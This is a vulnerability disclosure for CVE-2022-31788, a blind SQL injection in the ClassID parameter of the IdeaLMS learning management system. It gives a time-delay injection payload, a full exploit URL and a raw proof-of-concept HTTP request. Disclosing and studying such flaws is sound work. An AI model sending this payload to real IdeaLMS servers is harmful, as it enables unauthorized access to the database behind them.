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| Vulnerability Type: SQL Injection Vulnerability (Boolean-Based Blind) | |
| Vendor of Product: Ideaco.ir | |
| Affected Product Code Base: IdeaLMS | |
| Product Version: 2022 | |
| Description: IdeaLMS allows SQL Injection via the ClassID parameter | |
| Attack Vectors: Attacker should inject malicious payload into ClassID parameter | |
| Attack Type: Remote | |
| Payload: -1%20waitfor%20delay'0%3a0%3a20'-- | |
| Assigned CVE-ID: CVE-2022-31788 | |
| Discoverer: Mohammad Reza Ismaeli Taba, Raspina Net Pars Group (RNPG Ltd.) | |
| Steps To Reproduce | |
| 1. Browse the following page: https://<target.xyz>/IdeaLMS/ChatRoom/ClassAccessControl/6?isBigBlueButton=0&ClassID=6 | |
| 2. Insert the malicious query as the value in ClassID parameter | |
| Example: https://<target.xyz>/IdeaLMS/ChatRoom/ClassAccessControl/6?isBigBlueButton=0&ClassID=-1%20waitfor%20delay'0%3a0%3a20'-- | |
| #PoC | |
| GET /IdeaLMS/ChatRoom/ClassAccessControl/6?isBigBlueButton=0&ClassID=-1%20waitfor%20delay'0%3a0%3a20'-- HTTP/1.1 | |
| Host: <address in which IdeaLMS is set up> | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 | |
| Accept-Language: en-US,en;q=0.5 | |
| Accept-Encoding: gzip, deflate | |
| Connection: close |
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